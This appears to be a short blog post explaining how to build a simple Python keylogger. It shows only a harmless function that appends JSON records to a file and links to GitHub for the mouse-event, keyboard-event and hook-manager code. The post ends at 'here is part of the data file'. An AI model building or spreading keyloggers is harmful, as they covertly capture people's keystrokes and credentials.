How can I write a simple keylogger?

in #simple7 years ago

Hello everyone

if you have already tried how to write a keylogger, you have just found.I will talk about my keylogger and share my address on github.
there are some repo that you can analyze.

Let's go there
First we will create a py file to which we record all the movements.we need json library.

import json

def Registre(fileName="",data=None):

try:
    with open(fileName, 'a') as f: # openning a file to write
        f.write("\n")
        json.dump(data, f)# we will use jsondata 
except IOError:
    print("bir hata oluştu!")
finally:
    f.close()

Now We create a function which follow mouseevents.There are somes features like windows name ,mouse coordinate,instantaneous time and if there is a program that controls mouse...

https://github.com/BarisTutakli/keylogger-v1/tree/master/MouseEvents

Then there is another file in which we follow keyboardevents.Go see on Github!

https://github.com/BarisTutakli/keylogger-v1/tree/master/KeyboardEvents

Finally
we are going to create hook manager and we call the functions to watch for all mouse events

https://github.com/BarisTutakli/keylogger-v1/blob/master/Keylogger-v0.1.py

here is part of the data file